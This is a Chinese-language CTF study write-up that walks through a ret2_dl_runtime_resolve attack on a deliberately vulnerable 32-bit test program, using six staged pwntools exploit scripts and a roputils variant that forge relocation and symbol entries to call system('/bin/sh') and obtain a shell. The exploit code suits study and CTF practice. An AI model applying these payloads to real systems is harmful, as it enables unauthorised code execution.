0%

ret2_dl_runtime_resolve学习

5f8e8b8f45dd7.jpg

ret2_dl_runtime_resolve

上面我们学习了ELF文件结构和动态链接过程,下面我以WIKI上的例题来学习一下。

我们知道_dl_runtime_resolve函数的核心就是_dl_fixup函数,而在_dl_fixup中我们只要伪造了reloc_arg,使该函数的重定位表项位于我们可控制的位置;再伪造重定位表项(即r_offset和r_info),可使该函数的动态链接符号表表项位于我们可控制的位置;然后,伪造动态链接符号表表项(即st_name、st_value、st_size、st_info、st_other、st_shndx),主要是st_name的值,使该函数动态链接字符串表表项位于我们控制的位置;最后,伪造动态链接字符串表表项值为我们想要解析的函数名,就可以了。

漏洞利用方式

1.控制eip为PLT[0]的地址,只需传递一个index_arg参数
2.控制index_arg的大小,使reloc的位置落在可控地址内
3.伪造reloc的内容,使sym落在可控地址内
4.伪造sym的内容,使name落在可控地址内
5.伪造name为任意库函数,如system

这里构造一个存在栈缓冲区漏洞的程序,以方便后续构造ROP链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main()
{
char buf[100] = "Welcome to XDCTF2015~!\n";

setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}

编译:

1
$ gcc -o bof -m32 -fno-stack-protector bof.c

stage1
我们先写一个ROP链,直到返回到write@plt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#! /usr/bin/env python

from pwn import *

sh=process('./bof')
elf=ELF('./bof')

read_plt=elf.plt['read']
write_plt=elf.plt['write']
ppp_ret=0x08048619
pop_ebp_ret=0x0804861b
leave_ret=0x08048458
stack_size=0x800
bss_addr=0x0804a040
base_stage=bss_addr+stack_size

sh.recvuntil('Welcome to XDCTF2015~!\n')

payload1='a'*112
payload1+=p32(read_plt)
payload1+=p32(ppp_ret)
payload1+=p32(0)
payload1+=p32(base_stage)
payload1+=p32(100)
payload1+=p32(pop_ebp_ret)
payload1+=p32(base_stage)
payload1+=p32(leave_ret)
sh.sendline(payload1)

cmd='/bin/sh'

payload2='AAAA'
payload2+=p32(write_plt)
payload2+='AAAA'
payload2+=p32(1)
payload2+=p32(base_stage+80)
payload2+=p32(len(cmd))
payload2+='A'*(80-len(payload2))
payload2+=cmd+'\x00'
payload2+='A'*(100-len(payload2))
sh.sendline(payload2)

sh.interactive()

我们打印出了cmd内容

1
2
3
4
5
6
7
8
9
10
L0ne1y@L0ne1y:~/pwn/Return-to-dl-resolve$ ./stage1.py 
[+] Starting local process './bof': pid 21540
[*] '/home/L0ne1y/pwn/Return-to-dl-resolve/bof'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Switching to interactive mode
/bin/sh[*] Got EOF while reading in interactive

stage2
这次控制eip返回PLT[0],要带上write的index_offset(0X20)。这里修改一下payload2

1
2
3
0x80483d0  <write@plt>                 jmp    dword ptr [_GLOBAL_OFFSET_TABLE_+28] <0x804a01c>
0x80483d6 <write@plt+6> push 0x20
0x80483db <write@plt+11> jmp 0x8048380
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.....
cmd='/bin/sh'
plt_0=0x8048380
index_offest=0x20

payload2='AAAA'
payload2+=p32(plt_0)
payload2+=p32(index_offest)
payload2+='AAAA'
payload2+=p32(1)
payload2+=p32(base_stage+80)
payload2+=p32(len(cmd))
payload2+='A'*(80-len(payload2))
payload2+=cmd+'\x00'
payload2+='A'*(100-len(payload2))
sh.sendline(payload2)

同样会输出cmd内容

1
2
3
4
5
6
7
8
9
10
L0ne1y@L0ne1y:~/pwn/Return-to-dl-resolve$ ./stage2.py 
[+] Starting local process './bof': pid 21781
[*] '/home/L0ne1y/pwn/Return-to-dl-resolve/bof'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Switching to interactive mode
/bin/sh[*] Got EOF while reading in interactive

stage3
这次控制index_offset,使其指向我们构造的fake_reloc

1
2
//通过参数reloc_arg计算重定位入口,这里的DT_JMPREL即.rel.plt, reloc_offset即reloc_arg
const PLTREL *const reloc= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
1
2
//通过reloc->r_info找到.dynsym中对应的条目。
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

可以看到.rel.plt重定位表的地址是0x08048330

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
节头:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4
[ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 080481ac 0001ac 00002c 04 A 5 0 4
[ 5] .dynsym DYNSYM 080481d8 0001d8 0000a0 10 A 6 1 4
[ 6] .dynstr STRTAB 08048278 000278 00006b 00 A 0 0 1
[ 7] .gnu.version VERSYM 080482e4 0002e4 000014 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 080482f8 0002f8 000020 00 A 6 1 4
[ 9] .rel.dyn REL 08048318 000318 000018 08 A 5 0 4
[10] .rel.plt REL 08048330 000330 000028 08 AI 5 24 4
[11] .init PROGBITS 08048358 000358 000023 00 AX 0 0 4
[12] .plt PROGBITS 08048380 000380 000060 04 AX 0 0 16
[13] .plt.got PROGBITS 080483e0 0003e0 000008 00 AX 0 0 8

这里也可以看出。

1
2
3
4
5
6
7
8
L0ne1y@L0ne1y:~/pwn/Return-to-dl-resolve$ objdump -s -j .rel.plt bof

bof: 文件格式 elf32-i386

Contents of section .rel.plt:
8048330 0ca00408 07010000 10a00408 07020000 ................
8048340 14a00408 07040000 18a00408 07050000 ................
8048350 1ca00408 07060000 ........

这里我们可以看到重定位表项的信息

1
2
3
4
5
6
7
重定位节 '.rel.plt' 位于偏移量 0x330 含有 5 个条目:
偏移量 信息 类型 符号值 符号名称
0804a00c 00000107 R_386_JUMP_SLOT 00000000 setbuf@GLIBC_2.0
0804a010 00000207 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
0804a014 00000407 R_386_JUMP_SLOT 00000000 strlen@GLIBC_2.0
0804a018 00000507 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804a01c 00000607 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0

可以看出 write 的重定表项的 r_offset=0x0804a01cr_info=0x00000607

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
......
cmd='/bin/sh'
plt_0=0x8048380
rel_plt_addr=0x8048330
index_offest=(base_stage+28)-rel_plt_addr
write_got = elf.got['write']
r_info = 0x607
fake_reloc=p32(write_got)+p32(r_info)

payload2='AAAA'
payload2+=p32(plt_0)
payload2+=p32(index_offest)
payload2+='AAAA'
payload2+=p32(1)
payload2+=p32(base_stage+80)
payload2+=p32(len(cmd))
payload2+=fake_reloc
payload2+='A'*(80-len(payload2))
payload2+=cmd+'\x00'
payload2+='A'*(100-len(payload2))
sh.sendline(payload2)
1
2
3
4
5
6
7
8
9
[+] Starting local process './bof': pid 23381
[*] '/home/L0ne1y/pwn/Return-to-dl-resolve/bof'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Switching to interactive mode
/bin/sh[*] Got EOF while reading in interactive

stage4
这一次构造fake_sym,使其指向我们控制的st_name

首先,我们根据 write 的重定位表项的 r_info=0x607 可以知道,write 对应的符号在符号表的下标为 0x607>>8=0x6。因此,我们知道 write 对应的符号地址为 0x8048238。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
L0ne1y@L0ne1y:~/pwn/Return-to-dl-resolve$ objdump -s -EL -j  .dynsym bof

bof: 文件格式 elf32-i386

Contents of section .dynsym:
80481d8 00000000 00000000 00000000 00000000 ................
80481e8 33000000 00000000 00000000 12000000 3...............
80481f8 27000000 00000000 00000000 12000000 '...............
8048208 52000000 00000000 00000000 20000000 R........... ...
8048218 20000000 00000000 00000000 12000000 ...............
8048228 3a000000 00000000 00000000 12000000 :...............
8048238 4c000000 00000000 00000000 12000000 L............... <---------
8048248 2c000000 44a00408 04000000 11001a00 ,...D...........
8048258 0b000000 3c860408 04000000 11001000 ....<...........
8048268 1a000000 40a00408 04000000 11001a00 ....@...........
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
cmd='/bin/sh'
plt_0=0x8048380
rel_plt_addr=0x8048330
index_offest=(base_stage+28)-rel_plt_addr
write_got = elf.got['write']

dynsym = 0x080481d8
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) 对齐操作
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10 计算write的index
r_info = (index_dynsym << 8) | 0x7 计算偏移,有检查最后一位必须是7
fake_reloc = p32(write_got) + p32(r_info)
st_name = 0x4c
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2='AAAA'
payload2+=p32(plt_0)
payload2+=p32(index_offest)
payload2+='AAAA'
payload2+=p32(1)
payload2+=p32(base_stage+80)
payload2+=p32(len(cmd))
payload2+=fake_reloc
payload2+='B'*align
payload2+=fake_sym
payload2+='A'*(80-len(payload2))
payload2+=cmd+'\x00'
payload2+='A'*(100-len(payload2))
sh.sendline(payload2)

同样会打印出cmd内容

1
2
3
4
5
6
7
8
9
[+] Starting local process './bof': pid 25203
[*] '/home/L0ne1y/pwn/Return-to-dl-resolve/bof'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Switching to interactive mode
/bin/sh[*] Got EOF while reading in interactive

stage5
st_name指向输入的字符串"write"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
cmd='/bin/sh'
plt_0=0x8048380
rel_plt_addr=0x8048330
index_offest=(base_stage+28)-rel_plt_addr
write_got = elf.got['write']

dynsym = 0x080481d8
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
sh.success('r_info : ' +hex(r_info))
sh.success('align : ' +hex(align))

payload2='AAAA'
payload2+=p32(plt_0)
payload2+=p32(index_offest)
payload2+='AAAA'
payload2+=p32(1)
payload2+=p32(base_stage+80)
payload2+=p32(len(cmd))
payload2+=fake_reloc
payload2+='B'*align
payload2+=fake_sym
payload2+='write\x00'
payload2+='A'*(80-len(payload2))
payload2+=cmd+'\x00'
payload2+='A'*(100-len(payload2))
sh.sendline(payload2)

同样会打印出cmd内容

1
2
3
4
5
6
7
8
9
10
11
[+] Starting local process './bof': pid 25366
[*] '/home/L0ne1y/pwn/Return-to-dl-resolve/bof'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] r_info : 0x26907
[+] align : 0x4
[*] Switching to interactive mode
/bin/sh[*] Got EOF while reading in interactive

stage6
替换writesystem,并修改system的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
cmd='/bin/sh'
plt_0=0x8048380
rel_plt_addr=0x8048330
index_offest=(base_stage+28)-rel_plt_addr
write_got = elf.got['write']

dynsym = 0x080481d8
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
sh.success('r_info : ' +hex(r_info))
sh.success('align : ' +hex(align))

payload2='AAAA'
payload2+=p32(plt_0)
payload2+=p32(index_offest)
payload2+='AAAA'
payload2+=p32(base_stage+80)
payload2+='AAAA'
payload2+='AAAA'
payload2+=fake_reloc
payload2+='B'*align
payload2+=fake_sym
payload2+='system\x00'
payload2+='A'*(80-len(payload2))
payload2+=cmd+'\x00'
payload2+='A'*(100-len(payload2))
sh.sendline(payload2)

成功拿到shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
L0ne1y@L0ne1y:~/pwn/Return-to-dl-resolve$ ./stage6.py 
[+] Starting local process './bof': pid 25428
[*] '/home/L0ne1y/pwn/Return-to-dl-resolve/bof'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] r_info : 0x26907
[+] align : 0x4
[*] Switching to interactive mode
$ ls
bof core stage2.py stage4.py stage6.py
bof.c stage1.py stage3.py stage5.py

32位roputils库使用

参见代码stage6_roputils.py

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/python
#coding:utf-8

import roputils
from pwn import *
#只需确定文件名+溢出偏移。roputils.py文件要放到同一目录下
fpath = './bof'
offset = 112

rop = roputils.ROP(fpath)
addr_bss = rop.section('.bss')

buf = rop.retfill(offset)
buf += rop.call('read', 0, addr_bss, 100)
buf += rop.dl_resolve_call(addr_bss+20, addr_bss)

p=process(fpath)
print p.recv()
p.send(p32(len(buf)) + buf)

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(addr_bss+20, 'system')
buf += rop.fill(100, buf)

p.send(buf)
p.interactive()

参考链接

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/#_4

http://pwn4.fun/2016/11/09/Return-to-dl-resolve/

https://d0m021ng.github.io/2016/11/03/PWN/ret2-dl-resolve-payload-%E6%9E%84%E9%80%A0%E5%8E%9F%E7%90%86%EF%BC%88%E4%BA%8C%EF%BC%89/